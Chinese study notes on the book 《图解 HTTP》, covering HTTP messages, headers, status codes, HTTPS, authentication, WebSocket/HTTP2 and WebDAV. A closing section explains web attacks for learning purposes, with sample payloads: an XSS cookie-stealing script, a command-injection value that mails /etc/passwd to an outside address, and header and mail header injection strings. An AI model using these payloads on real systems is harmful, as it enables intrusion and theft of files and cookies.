《图解 HTTP》知识点整理

Web 和网络基础

1. 绝对 URI 的格式。

   http://user:[email protected]:80/dir/index.html?uid=1#ch1
   

   • http://：协议方案名
   • user:pass：登录信息（认证）
   • www.example.com：服务器地址
   • 80：端口号
   • /dir/index.html：带层次的文件路径，也就是请求 URI
   • uid=1：查询字符串
   • ch1：片段标识符

HTTP 协议

1. 请求报文的构成：

   请求行分别为 方法、URI、协议版本

   POST /form/entry HTTP/1.1
   

   接下来是请求首部字段

   Host: hackr.jp
   Connection: keep-alive
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 16
   

   空一行分隔（CR+LF），内容实体

   name=ueno&age=37
   

2. 响应报文的构成：

   状态行分别为 协议版本、状态码、状态码的原因短语

   HTTP/1.1 200 OK
   

   接下来是响应首部字段

   Date: Tue, 10 Jul 2012 06:50:15 GMT
   Content-Length: 362
   Content-Type: text/html
   

   空一行分隔（CR+LF），然后是内容主体

   
   ...
   

3. HTTP/1.1 中可使用的方法

   1. GET : 获取资源。
   2. POST : 传输实体主体。
   3. PUT : 传输文件。不带检验机制。
   4. HEAD : 获得报文首部。和 GET 一样，只是不返回主体，用于确认 URI 的有效性及资源更新的日期时间等
   5. DELETE : 删除文件。与 PUT 相反。
   6. OPTIONS : 询问支持的 HTTP 方法。
   7. TRACE : 追踪路径，让 Web 服务器将之前的请求通信环回给客户端。
   8. CONNECT : 要求用隧道协议连接代理。使用 SSL 和 TLS 协议加密通信内容后传输。

   另外 LINK 和 UNLINK 方法在 HTTP/1.1 被废弃。

4. HTTP /1.1 首部字段（47 种）一览：

   1. 通用首部字段

      首部字段名	说明
      Cache-Control	控制缓存的行为
      Connection	逐跳首部、连接的管理
      Date	创建报文的日期时间
      Pragma	报文指令
      Trailer	报文末端的首部一览
      Transfer-Encoding	指定报文主体的传输编码方式
      Upgrade	升级为其他协议
      Via	代理服务器的相关信息
      Warning	错误通知

   2. 请求首部字段

      首部字段名	说明
      Accept	用户代理可处理的媒体类型
      Accept-Charset	优先的字符集
      Accept-Encoding	优先的内容编码
      Accept-Language	优先的语言（自然语言）
      Authorization	Web 认证信息
      Expect	期待服务器的特定行为
      From	用户的电子邮箱地址
      Host	请求资源所在的服务器
      If-Match	比较实体标记（ETag）
      If-Modified-Since	比较资源的更新时间
      If-Range	资源未更新时发送实体 Byte 的范围请求
      If-Unmodified-Since	比较资源的更新时间（与 If-Modified-Since 相反）
      Max-Forwards	最大传输逐跳数
      Proxy-Authorization	代理服务器要求客户端的认证信息
      Range	实体的字节请求范围
      Referer	对请求中 URI 的原始获取方
      TE	传输编码的优先级
      User-Agent	HTTP 客户端程序的信息

   3. 响应首部字段

      首部字段名	说明
      Accept-Ranges	是否可接受字节的范围请求
      Age	推算资源创建经过的时间
      ETag	资源的匹配信息
      Location	令客户端重定向至指定 URI
      Proxy-Authenticate	代理服务器对客户端的认证信息
      Retry-After	对再次发起请求的时机要求
      Server	HTTP 服务器的安装信息
      Vary	代理服务器缓存的管理信息
      WWW-Authenticate	服务器对客户端的认证信息

   4. 实体首部字段

      首部字段名	说明
      Allow	资源可支持的 HTTP 方法
      Content-Encoding	实体主体使用的编码方式
      Content-Language	实体主体的自然语言
      Content-Length	实体主体的大小
      Content-Location	替代对应的资源的 URI
      Content-MD5	实体主体的报文摘要
      Content-Range	实体主体的位置范围
      Expires	实体主体过期的日期时间
      Last-Modified	资源的最后修改日期时间

   注：还有其他 RFC 2616 外定义的首部字段，如 Cookie，Set-Cookie 和 Content-Disposition 等也是会经常用到。

5. End-to-end 首部和 Hop-by-hop 首部（是否缓存代理）

   除以下 8 个首部字段之外，其他所有字段都属于端到端首部

   • Connection
   • Keep-Alive
   • Proxy-Authenticate
   • Proxy-Authorization
   • Trailer
   • TE
   • Transfer-Encoding
   • Upgrade

HTTP /1.1 通用首部字段详解

1. Cache-Control 控制缓存的行为，指令的参数是可选的，通过“,”分隔。

   • 缓存请求指令

     指令	参数	说明
     no-cache	无	强制向源服务器再次验证
     no-store	无	不缓存请求或响应的任何内容
     max-age=[秒]	必需	响应的最大Age值
     max-stale(=[秒])	可省略	接收已过期的响应
     min-fresh=[秒]	必需	期望在指定时间内的响应仍有效
     no-transform	无	代理不可更改媒体类型
     only-if-cached	无	从缓存获取资源
     cache-extension	-	新指令标记（token）

   • 缓存响应指令

     指令	参数	说明
     public	无	可向任意方提供响应的缓存
     private	可省略	仅向特定用户返回响应
     no-cache	可省略	缓存前必须先确认其有效性
     no-store	无	不缓存请求或响应的任何内容
     no-transform	无	代理不可更改的媒体类型
     must-revalidate	无	可缓存但必须再向源服务器进行确认
     proxy-revalidate	无	要求中间缓存服务器对缓存的响应有效性再进行确认
     max-age = [秒]	必需	响应的最大Age值
     s-maxage = [秒]	必需	公共缓存服务器响应的最大Age值
     cache-extension	-	新指令标记（token）

2. Connection 具备两个作用：

   • 控制不再转发给代理的首部字段

   • 管理持久连接：

     HTTP /1.1 版本的默认连接都是持久连接（Keep-Alive），当服务端想明确断开连接时，指定其值为 Close。

3. Pragma 是 HTTP/1.1 之前版本的历史遗留字段，仅作为与 HTTP/1.0 的向后兼容而定义。只用在客户端发送请求，要求所有的中间服务器不返回缓存的资源。形式唯一：Pragma: no-cache

4. Trailer 会实现说明在报文主体后记录了哪些首部字段，可应用在 HTTP/1.1 版本分块传输编码时。

5. Transfer-Encoding 规定了传输报文主体时采用的编码方式。

6. Upgrade 用于检测 HTTP 协议及其他协议是否可使用更高的版本进行通信，仅限于客户端和邻接服务器之间。因此，使用首部字段 Upgrade 时，还需要额外指定 Connection:Upgrade。

7. Via 是为了追踪客户端和服务器之间的请求和响应报文的传输路径，配合 TRACE 方法使用。

8. Warning 会告知用户一些与缓存相关的问题和警告，格式如下：

   Warning: [警告码][警告的主机:端口号]"[警告内容]"([日期时间])

   HTTP /1.1 定义了 7 种警告码：

   警告码	警告内容	说明
   110	Response is stale (响应已过期)	代理返回已过期的资源
   111	Revalidation failed (再验证失败)	代理再验证资源有效性时失败(服务 器无法到达等原因)
   112	Disconnection operation(断开连接操作)	代理与互联网连接被故意切断
   113	Heuristic expiration (试探性过期)	响应的使用期超过24小时(有效缓存 的设定时间大于24小时的情况下)
   199	Miscellaneous warning (杂项警告)	任意的警告内容
   214	Transformation applied (使用了转换)	代理对内容编码或媒体类型等执行了 某些处理时
   299	Miscellaneous persistent warning(持久杂项警告)	任意的警告内容

HTTP /1.1 请求首部字段详解

1. Accept 通知服务器用户代理能够处理的媒体类型及媒体类型的相对优先级。例如：

   • 文本文件
     text/html, text/plain, text/css ...
     application/xhtml+xml, application/xml ...
   • 图片文件
     image/jpeg, image/gif, image/png ...
   • 视频文件
     video/mpeg, video/quicktime ...
   • 应用程序使用的二进制文件
     application/octet-stream, application/zip ...

   若想要给显示的媒体类型增加优先级，则使用 q= 来额外表示权重值，用";"进行分隔，范围0~1，可精确到小数点后3位，1为最大值和默认值。

2. Accept-Charset 通知服务器用户代理支持的字符集及其优先顺序。

3. Accept-Encoding 告知服务器用户代理支持的内容编码及优先级顺序，常用编码有：

   • gzip（GNU zip）
   • compress（UNIX 系统的标准压缩）
   • deflate（zlib）
   • Identity（不进行编码）

   权重也是采用 q 值表示优先级。也可以使用“*”作为通配符。

4. Accept-Language 告知服务器用户代理能够处理的自然语言集。

5. Authorization 用来告知服务器用户代理的认证信息。通常是在返回 401 状态码响应后，把首部字段 Authorization 加入请求中。

6. Expect 客户端用来告知服务器期望出现的某种特定行为。服务器无理解客户端的期望而发生错误时，会返回 417 Expectation Failed。

7. From 用来告知服务器使用用户代理的电子邮件地址，目的是为了显示搜索引擎等用户代理的负责人的电子邮件联系方式。

8. Host 会告知服务器请求的资源所处的互联网主机名和端口号，是 HTTP /1.1 规范内唯一一个必须被包含在请求内的首部字段。

9. If-Match 条件请求，指定条件为真时，才会执行请求。

10. If-Modified-Since 如果在指定的日期时间后，资源发生了更新，服务器就会接受请求。

11. If-None-Match 和 If-Match 作用相反。

12. If-Range 若指定的字段值和请求资源的一致时，则作为范围请求处理。相当于 If-Match 和 Range 两次处理

13. If-Unmodified-Since 和 If-Modified-Since 的作用相反。

14. Max-Forwards 通过 TRACE 和 OPTIONS 方法，表示以十进制证书形式指定可经过的服务器最大数目，在往下一个服务器转发请求前会减 1 后重新赋值。

15. Proxy-Authorization 告知服务器认证所需要的信息。

16. Range 告知服务器资源的指定范围。

17. Referer 告知服务器请求的原始资源的 URI。

18. TE 告知服务器能够处理响应的传输编码方式及其优先级。与 Accept-Encoding 的功能很像，但是用于传输编码。

19. User-Agent 会将创建请求的浏览器和用户代理名称等信息传达给服务器。

响应首部字段

1. Accept-Ranges 用来告知客户端服务器是否能处理范围请求。可处理时指定其为 bytes，反之为 none。
2. Age 告知客户端源服务器在多久前创建了响应。字段值的单位为秒。
3. ETag 能告知客户端实体标示。是一种可将资源以字符串形式做唯一性标识的方式。没有统一的算法规则，仅仅由服务器来分配。ETag 中有强 ETag 值和弱 ETag 值之分，强 ETag 值不论实体发生多么细微的变化都会改变其值；弱 ETag 值只用于提示资源是否相同，只有资源发生根本变化才会改变。弱 ETag 会在字符值最开始处附加 W/。
4. Location 可以将响应接收方引导至某个与请求 URI 位置不同的资源，通常会配合 3xx 的响应。
5. Proxy-Authenticate 会把由代理服务器所要求的认证信息发送给客户端。
6. Retry-After 告知客户端应该在多久之后再次发送请求。主要配合 503 Service Unavailable 或 3xx 响应。
7. Server 告知客户端当前服务器上安装的 HTTP 服务器应用程序的信息。
8. Vary 可对缓存进行控制，源服务器会向代理服务器传达关于本地缓存使用方法的命令。
9. WWW-Authenticate 用于 HTTP 访问认证。会告知客户端适用于访问请求 URI 所指定资源的认证方案（Basic 或 Digest） 和带参数提示的质询（Challenge）。

实体首部字段

1. Allow 用于通知客户端能够支持的 Request-URI 指定资源的所有 HTTP 方法。当接收到不支持的 HTTP 方法时，会以状态码 405 Method Not Allowed 作为响应返回。
2. Content-Encoding 会告知客户端服务器对实体的主体部分选用的内容编码方式。
3. Content-Language 会告知客户端实体主体使用的自然语言。
4. Content-Length 表明了实体主体部分的大小。对实体主体进行内容编码传输时，不能再使用。
5. Content-Location 给出与报文主体部分相对应的 URI。
6. Content-MD5 客户端会对接收的报文主体执行相同的 MD5 算法，然后与此字段值比较。对报文主体执行 MD5 算法获得的 128 位二进制数（32个字符），再通过 Base64 编码的借口就是此字段值。
7. Content-Range 针对范围请求，告知客户端作为响应返回的实体和那个部分符合范围请求，单位字节。
8. Content-Type 说明了实体主体内对象的媒体类型。
9. Expires 会将资源失效的日期告知客户端。当首部的 Cache-Control 有 max-age 指令时会优先处理。
10. Last-Modified 指明资源最终修改的时间。

为 Cookie 服务的字段

1. Set-Cookie 开始管理客户端的状态时，会事先告知使用的 Cookie 信息。

   属性	说明
   NAME=VALUE	赋予 Cookie 的名称和其值（必需项）
   expires=DATE	Cookie 的有效期（若不指明则默认为浏览器关闭前为止）
   path=PATH	将服务器上的文件目录作为 Cookie 的使用对象（若不指定则默认为文档所在的文件目录）
   domain=域名	作为 Cookie 使用对象的域名（若不指定则默认为创建 Cookie 的服务器的域名）
   Secure	仅在 HTTPS 安全通信时才会发送 Cookie
   HttpOnly	加以限制，使 Cookie 不能被 JavaScript 脚本访问

2. Cookie 会告知服务器，当客户端想获得 HTTP 状态管理支持时，就会在请求中包含从服务器接收到的 Cookie。

其他字段

1. X-Frame-Options 属于 HTTP 响应首部，控制网站内容在其他 Web 网站的 Frame 标签内的显示问题。主要目的是为了防止点击劫持攻击。有以下两个可指定的字段值。

   • DENY：拒绝
   • SAMEORIGIN：仅同源域名下的页面匹配时许可。

2. X-XSS-Protection 属于 HTTP 响应首部，针对跨站脚本攻击的一种对策，用于控制浏览器 XSS 防护机制的开关。可指定的值：

   • 0 ：将 XSS 过滤设置成无效状态
   • 1 ：将 XSS 过滤设置成有效状态

3. DNT 属于 HTTP 请求首部，为 Do Not Track 的简称，意为拒绝个人信息被收集，是标示拒绝被精准广告追踪的一种方法。可指定的值：

   • 0 ：同意被追踪
   • 1 ：拒绝被追踪

4. P3P 属于 HTTP 响应首部，通过利用 P3P (The Platform for Privacy Preferences，在线隐私偏好平台) 技术，可以让 Web 网站上的个人隐私变成一种仅供程序可理解的形式，以达到保护用户隐私的目的。需按以下操作步骤：

   步骤 1：创建 P3P 隐私
   步骤 2：创建 P3P 隐私对照文件后，保存命名在 /w3c/p3p.xml
   步骤 3：从 P3P 隐私中新建 Compact policies 后，输出到 HTTP 响应 中

HTTP 状态

1. 状态码的类型：

	类别	原因短语
1XX	Informational（信息性状态码）	接收的请求正在处理
2XX	Success（成功状态码）	请求正常处理完毕
3XX	Redirection（重定向状态码）	需要进行附加操作以完成请求
4XX	Client Error（客户端错误状态码）	服务器无法处理请求
5XX	Server Error（服务器错误状态码）	服务器处理请求出错

2. 2XX 成功

   1. 200 OK：正常处理
   2. 204 No Content：已成功处理，但返回的响应报文中不含实体的主体部分。
   3. 206 Partial Content ：服务器成功执行了范围请求。

3. 3XX 重定向

   1. 301 Moved Permanently：永久性重定向
   2. 302 Found：临时性重定向，POST 会变成 GET
   3. 303 See Other：表示资源存在着另一个 URI，并希望客户端使用 GET 方式定向获取资源
   4. 304 Not Modified：客户端发送附带条件的请求，服务器端允许请求访问资源但未满足条件
   5. 307 Temporary Redirect：临时重定向，不会把 POST 变换成 GET

   注：HTTP 1.1 中使用 303 和 307 来细化 302 重定向的行为。

4. 4XX 客户端错误

   1. 400 Bad Request：请求报文中存在语法错误
   2. 401 Unauthorized：表示发送请求需要有通过 HTTP 认证（浏览器弹窗输入密码）
   3. 403 Forbidden：请求资源的访问被服务器拒绝了
   4. 404 Not Found：服务器上无法找到请求的资源（或者拒绝请求且不想说明原因）

5. 5XX 服务器错误

   1. 500 Internal Server Error：服务端在执行请求时发生错误
   2. 503 Service Unavailable：服务器暂时处于超负荷或正在进行停机维，无法处理请求

HTTPS

1. HTTP 的缺点：

   • 通信使用明文（不加密），内容可能会被窃听。（内容泄漏）
   • 不验证通信方的身份，因此有可能遭遇伪装。（Dos 攻击）
   • 无法验证报文的完整性，所以有可能已遭篡改。（MITM 攻击）

   即：HTTP + 加密 + 认证 + 完整性保护 = HTTPS

2. SSL

   • SSL 是独立于 HTTP 的协议，使用 SSL 时，先和 SSL 通信，再由 SSL 和 TCP 通信。
   • SSL 采用公开密钥加密的非对称加密处理方式，发送方使用公钥进行加密，接收方使用私钥进行解密。
   • EV SSL 证书可确认对方服务器背后运营的企业是否真实存在。
   • 使用 OpenSSL 的开源程序，可以构建一套属于自己的认证机构，给自己的服务器颁发证书。浏览器访问时，会显示无法确认连接安全性等警告消息。
   • HTTPS 比 HTTP 慢 2 到 100 倍，SSL 的慢一种是通信慢，另一种是指由于大量消耗 CPU 等资源导致处理速度变慢。

3. HTTPS 工作流程

   1. 客户端通过发送 Client Hello 报文开始 SSL 通信。报文中包 含客户端支持的 SSL 的指定版本、加密组件（Cipher Suite）列表（所使用的加密算法及密钥长度等）。
   2. 服务器可进行 SSL 通信时，会以 Server Hello 报文作为应答。
   3. 之后服务器发送 Certificate 报文。报文中包含公开密钥证书。
   4. 服务器发送 Server Hello Done 报文通知客户端，最初阶段的 SSL 握手协商部分结束。
   5. SSL 第一次握手结束之后，客户端以 Client Key Exchange 报文作为回应。报文中包含通信加密中使用的一种被称为 Pre-master secret 的随机密码串。该报文已用步骤 3 中的公开密钥进行加密。
   6. 接着客户端继续发送 Change Cipher Spec 报文。
   7. 客户端发送 Finished 报文。该报文包含连接至今全部报文的整体校验值。
   8. 服务器同样发送 Change Cipher Spec 报文。
   9. 服务器同样发送 Finished 报文。
   10. 服务器和客户端的 Finished 报文交换完毕之后，SSL 连接就算建立完成。
   11. 应用层协议通信，即发送 HTTP 响应。
   12. 最后由客户端断开连接。断开连接时，发送 close_notify 报文。

   在以上流程中，应用层发送数据时会附加一种叫做 MAC(Message Authentication Code)的报文摘要。MAC 能够查知报文是否遭到篡 改，从而保护报文的完整性。

HTTP/1.1 使用的认证方式

• BASIC 认证（基本认证）：

  1. 当请求的资源需要认证时，服务器会随状态码 401 Authorization Required，返回带 WWW-Authenticate 首部字段的响应。该字段内包含认证的方式（BASIC） 及 Request-URI 安全域字符串 (realm)。
  2. 接收到状态码 401 的客户端为了通过 BASIC 认证，需要将用户信息发送给服务器，信息中间以冒号(:)连接后，再经过 Base64 编码处理。
  3. 接收到包含首部字段 Authorization 请求的服务器，会对认证信息的正确性进行验证。如验证通过，则返回一条包含 Request-URI 资源的响应。

  BASIC 认证虽然采用 Base64 编码方式，但这不是加密处理，不需要任何附加信息即可对其解码。如果被人窃听，被盗的可能性极高。

• DIGEST 认证（摘要认证）：

  1. 和 BASIC 认证一样，WWW-Authenticate 字段内包含质问响应方式认证所需的临时质询码（随机数， nonce）和 realm。
  2. 接收到 401 状态码的客户端，返回的响应中包含 DIGEST 认证必须的首部字段 Authorization 信息。必须包含 username、realm、nonce、uri 和 response 的字段信息。
  3. 接收到包含首部字段 Authorization 请求的服务器，会对认证信息的正确性进行验证。如验证通过，则返回一条包含 Request-URI 资源的响应。并且这时会在首部字段 Authentication-Info 写入一些认证成功的相关信息。

• SSL 客户端认证

  1. 接收到需要认证资源的请求，服务器会发送 Certificate Request 报文，要求客户端提供客户端证书。
  2. 用户选择将发送的客户端证书后，客户端会把客户端证书信息以 Client Certificate 报文方式发送给服务器。
  3. 服务器验证客户端证书验证通过后方可领取证书内客户端的公开密钥，然后开始 HTTPS 加密通信。

• FormBase 认证（基于表单认证）

  基于表单的认证方法并不是在 HTTP 协议中定义的，客户端会向服务器上的 Web 应用程序发送登录信息(Credential)，按登录信息的验证结果认证。（也就是常见的输入账号密码登录）

  基于表单认证的标准规范尚未有定论，一般会使用 Cookie 来管理 Session（会话），以弥补 HTTP 协议中不存在的状态管理功能。具体流程如下：

  1. 客户端把用户 ID 和密码等登录信息放入报文的实体部分， 通常是以 POST 方法把请求发送给服务器。而这时，会使用 HTTPS 通信来进行 HTML 表单画面的显示和用户输入数据的发送。
  2. 服务器会发放用以识别用户的 Session ID，并通过首部字段 Set-Cookie 告知客户端写入 Cookie。
  3. 客户端在下次向服务器发送请求时会自动带上 Cookie 中的 Session ID，服务器端可通过验证接收到的 Session ID 识别用户和其认证状态。

HTTP 的功能追加协议

1. SPDY

   • 频繁的进行 HTTP 请求会有以下瓶颈：
     • 一条连接上只可发送一个请求。
     • 请求只能从客户端开始。客户端不可以接收除响应以外的指令。
     • 请求 / 响应首部未经压缩就发送。首部信息越多延迟越大。
     • 发送冗长的首部。每次互相发送相同的首部造成的浪费较多。
     • 可任意选择数据压缩格式。非强制压缩发送。
   • 基于 HTTP 的解决方案：
     • Ajax（Asynchronous JavaScript and XML， 异 步 JavaScript 与 XML 技术）是一种有效利用 JavaScript 和 DOM（Document Object Model，文档对象模型）的操作，通过 JavaScript 脚本语言的调用就能和服务器进行 HTTP 通信。借由这种手段，就能从已加载完毕的 Web 页面上发起请求，只更新局部页面。然而，利用 Ajax 实时地从服务器获取内容，有可能会导致大量请求产生。另外，Ajax 仍未解决 HTTP 协议本身存在的问题。
     • Comet 的解决方法：一旦服务器端有内容更新了，Comet 不会让请求等待，而是直接给客 户端返回响应。这是一种通过延迟应答，模拟实现服务器端向客户端 推送(Server Push)的功能。内容上虽然可以做到实时更新，但为了保留响应，一次连接的持续时间也变长了。期间，为了维持连接会消耗更多的资源。另外，Comet 也仍未解决 HTTP 协议本身存在的问题。
   • SPDY 在协议级别消除 HTTP 的瓶颈，没有完全改写 HTTP 协议，而是在 TCP/IP 的应用层与传输层之间通过新加会话层的形式运作。同时，考虑到安全性问题，SPDY 规定通信中使用 SSL。使用 SPDY 后，HTTP 协议额外获得以下功能：
     • 多路复用流，通过单一的 TCP 连接，可以无限制处理多个 HTTP 请求。
     • 赋予请求优先级，解决因带宽低而导致响应变慢的问题。
     • 压缩 HTTP 首部，减少数据包数量和发送的字节数。
     • 推送功能，服务器主动向客户端推送数据。
     • 服务器提示功能，服务器可以主动提示客户端请求所需的资源，在资源已缓存时可以避免发送不必要请求。

2. WebSocket 全双工通信

   • WebSocket 技术主要是为了解决 Ajax 和 Comet 里 XMLHttpRequest 附带的缺陷所引起的问题。一旦 Web 服务器与客户端之间建立起 WebSocket 协议的通信连接， 之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送 JSON、XML、HTML 或图片等任意格式的数据。WebSocket 协议的主要特点：

     • 推送功能，支持由服务器向客户端推送数据的功能。
     • 减少通信量，和 HTTP 相比，不但每次连接时的总开销减少，首部信息很小所以通信量也相应减少了。

   • 为了实现 WebSocket 通信，在 HTTP 连接建立之后，需要完成一次“握手”的步骤。

     • 握手 · 请求

       为了实现 WebSocket 通信，需要用到 HTTP 的 Upgrade 首部字段，告知服务器通信协议发生改变，以达到握手的目的。

       GET /chat HTTP/1.1
       Host: server.example.com
       Upgrade: websocket
       Connection: Upgrade
       Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== 
       Origin: http://example.com 
       Sec-WebSocket-Protocol: chat, superchat 
       Sec-WebSocket-Version: 13
       

       Sec-WebSocket-Key 字段内记录着握手过程中必不可少的键值。

       Sec-WebSocket-Protocol 字段内记录使用的子协议。

     • 握手 · 响应

       对于之前的请求，返回状态码 101 Switching Protocols 的响应。

       HTTP/1.1 101 Switching Protocols
       Upgrade: websocket
       Connection: Upgrade
       Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= 
       Sec-WebSocket-Protocol: chat
       

       Sec-WebSocket-Accept 的字段值是由握手请求中的 Sec-WebSocket-Key 的字段值生成的。

       成功握手确立 WebSocket 连接之后，通信时不再使用 HTTP 的数据帧，而采用 WebSocket 独立的数据帧。

   • WebSocket API

     JavaScript 可调用由 W3C 标准制定的 The WebSocket API 内提供的 WebSocket 程序接口，以实现 WebSocket 协议下全双工通信。

     var socket = new WebSocket('ws://game.example.com:12010/updates');
     socket.onopen = function () {
        setInterval(function() {
        if (socket.bufferedAmount == 0)
            socket.send(getUpdateData()); 
       }, 50);
     };
     

3. HTTP/2.0

   • HTTP/2.0 的目标是改善用户在使用 Web 时的速度体验，通过以下协议为基础实现：

     • SPDY
     • HTTP Speed + Mobility 由微软公司起草，是用于改善并提高移动端通信时的通信速度和性能的标准，建立在 Google 公司提出的 SPDY 与 WebSocket 的基础之上。
     • Network-Friendly HTTP Upgrade 主要是在移动端通信时改善 HTTP 性能的标准。

   • HTTP/2.0 的 7 项技术及其讨论

     技术	基础协议
     压缩	SPDY、Friendly
     多路复用	SPDY
     TLS 义务化	Speed + Mobility
     协商	Speed + Mobility、Friendly
     客户端拉拽/服务器推送	Speed + Mobility
     流量控制	SPDY
     WebSocket	Speed + Mobility

4. WebDAV Web 服务器文件管理

   • WebDAV（Web-based Distributed Authoring and Versioning，基于万维网 的分布式创作和版本控制）是一个可对 Web 服务器上的内容直接进 行文件复制、编辑等操作的分布式文件系统。

   • 除了创建、删除文件等基本功能，它还具备文件创建者管理、文件编 辑过程中禁止其他用户内容覆盖的加锁功能，以及对文件内容修改的 版本控制功能。

   • 针对服务器上的资源，WebDAV 新增加了一些概念：

     • 集合(Collection)：是一种统一管理多个资源的概念。以集合为单位可进行各种操作。也可实现类似集合的集合这样的叠加。
     • 资源(Resource)：把文件或集合称为资源。
     • 属性(Property)：定义资源的属性。定义以“名称 = 值”的格式执行。
     • 锁(Lock)：把文件设置成无法编辑状态。多人同时编辑时，可防止在同一时间进行内容写入。

   • WebDAV 为实现远程文件管理，向 HTTP/1.1 中追加了以下这些方法。

     • PROPFIND ：获取属性
     • PROPPATCH ：修改属性
     • MKCOL ：创建集合
     • COPY ：复制资源及属性
     • MOVE ：移动资源
     • LOCK ：资源加锁
     • UNLOCK ：资源解锁

   • 为配合扩展的方法，状态码也随之扩展。

     • 102 Processing ：可正常处理请求，但目前是处理中状态
     • 207 Multi-Status ：存在多种状态
     • 422 Unprocessible Entity ：格式正确，内容有误
     • 423 Locked ：资源已被加锁
     • 424 Failed Dependency ：处理与某请求关联的请求失败，因此不再维持依赖关系
     • 507 Insufficient Storage ：保存空间不足

构建 Web 内容的技术

1. HTML 是为了发送 Web 上的超文本 (Hypertext) 而开发的标记语言。
   • HTML5 标准不仅解决了浏览器之间的兼容性问题，并且可把文本作为数据对待，更容易复用，动画等效果也变得更生动。
   • CSS 可以指定如何展现 HTML 内的各种元素，属于样式表标准之一。
2. 动态 HTML 是指使用客户端脚本语言将静态的 HTML 内容变成动态的技术的总称。
   • DOM 是用以操作 HTML 文档和 XML 文档的 API(Application Programming Interface，应用编程接口)。
   • 通过调用 JavaScript 等脚本语言对 DOM 的操作，可以以更为简单的方式控制 HTML 的改变。
3. Web 应用 是指通过 Web 功能提供的应用程序。
   • 其作用于由程序创建的动态内容之上。
   • CGI (Common Gateway Interface，通用网关接口) 是指 Web 服务器在接收到客户端发送过来的请求后转发给程序的一组机制。每次接到请求都要跟着启动一次，一旦访问量过大，Web 服务器要承担相当大的负载。
   • Servlet 是一种能在服务器上创建动态内容的程序，常驻内存，执行效率高，解决 CGI 问题。
4. 数据发布的格式及语言
   • XML (eXtensible Markup Language，可扩展标记语言) 是一种可按应用目标进行扩展的通用标记语言。
   • RSS (简易信息聚合，也叫聚合内容) 和 Atom 都是发布新闻或博客日志等更新信息文档的格式的总称。
   • JSON (JavaScript Object Notation) 是一种以 JavaScript (ECMAScript) 的对象表示法为基础的轻量级数据标记语 言。

Web 攻击技术

1. 针对 Web 的攻击技术

   • 在 HTTP 请求报文内加载攻击代码，就能发起对 Web 应用的攻击，通过 URL 查询字段或表单、HTTP 首部、Cookie 等途径把攻击代码传入。针对 Web 应用的攻击模式：

     • 主动攻击，是指攻击者通过直接访问 Web 应用， 把攻击代码传入的攻击模式。有代表性的攻击是 SQL 注入攻击和 OS 命令注 入攻击。
     • 被动攻击，是指利用圈套策略执行攻击代码的攻击模式，步骤如下：
       1. 攻击者诱使用户触发已设置好的陷阱，而陷阱会启动发送已嵌入攻击代码的 HTTP 请求。
       2. 当用户不知不觉中招之后，用户的浏览器或邮件客户端就会触发这个陷阱。
       3. 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用，运行攻击代码。
       4. 执行完攻击代码，存在安全漏洞的 Web 应用会成为攻击者的跳板，可能导致用户所持的 Cookie 等个人信息被窃取，登录状态中的用户权限遭恶意滥用等后果。

   • 利用被动攻击，可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。

2. 因输出值转义不完全引发的安全漏洞

   • 实施 Web 应用的安全对策可大致分为以下两部分：

     • 客户端的验证
     • Web 应用端（服务器端）的验证
       • 输入值验证
       • 输出值转义

     多数情况下采用 JavaScript 在客户端验证数据。可是在客户端允许篡改数据或关闭 JavaScript，不适合将 JavaScript 验证作为安全的防范 对策。

     从数据库或文件系统、HTML、邮件等输出 Web 应用处理的数据之际，针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时，会因触发攻击者传入的攻击代码，而给输出对象带来损害。

   • 跨站脚本攻击

     跨站脚本攻击 (Cross-Site Scripting，XSS) 是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。跨站脚本攻击有可能造成以下影响：

     • 利用虚假输入表单骗取用户个人信息。
     • 利用脚本窃取用户的 Cookie 值，被害者在不知情的情况下， 帮助攻击者发送恶意请求。
     • 显示伪造的文章或图片。

     示例1：（输入个人信息后发送到攻击者的网站）

     http://example.jp/login?ID=">

     示例2：（获取该 Web 应用所处域名下的 Cookie 信息）

     // xss.js
     var content = escape(document.cookie); 
     document.write("");
     

   • SQL 注入攻击

     • SQL 注入(SQL Injection)是指针对 Web 应用使用的数据库，通 过运行非法的 SQL 而产生的攻击。

     • 示例：

       地址栏的某参数会作为搜索功能的关键字，在该参数后加上'--'，会把后面的条件全视为注释。

   • OS 命令注入攻击

     • 通过 Web 应用，执行非法的操作系统命令达到攻击的目的。

     • 示例：

       // 表单中的核心代码，调用 sendmail 命令发送邮件，地址为 &adr
       my $adr = $q->param('mailaddress'); 
       open(MAIL, "| /usr/sbin/sendmail $adr"); 
       print MAIL "From: [email protected]\n";
       

       # 攻击者将地址指定为以下值
       ; cat /etc/passwd | mail [email protected]
       

   • HTTP 首部注入攻击

     • 攻击者通过在响应首部字段内插入换行，添加任意响应首部或主体的一种攻击。属于被动攻击模式。

     • 示例：

       // 选择类别后，通过类别 ID 反映在响应内的 Location 首部字段内。类别后加上：
       101%0D%0ASet-Cookie:+SID=123456789
       

       其中 %0D%0A 代表 HTTP 报文中的换行符，攻击者可以修改任意的 Cookie 信息。

     • HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。攻击顺序相同，但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了，这样就能显示伪造的主体，达到攻击目的。

   • 邮件首部注入攻击

     • %0D%0A 在邮件报文中代表换行符。一旦咨询表单所在的 Web 应用接收了这个换行符，就可能实现对 BCC(Blind Carbon Copy) 邮件地址的追加发送：

       [email protected]%0D%0ABcc: [email protected]
       

     • 另外像下面一样，使用两个连续的换行符就有可能篡改邮件文本 内容并发送。

       [email protected]%0D%0A%0D%0ATest Message
       

   • 目录遍历攻击

     • 是指对本无意公开的文件目录， 通过非法截断其目录路径后，达成访问目的的一种攻击。
     • 可使用 .../ 等相对路径定位到 /etc/passed 等绝对路径上。

   • 远程文件包含漏洞

     • 当部分脚本内容需要从其他文件读入时，攻击者利用指定外部服务器的 URL 充当依赖文件，让脚本读取之后，就可运行任意脚本的一种攻击。
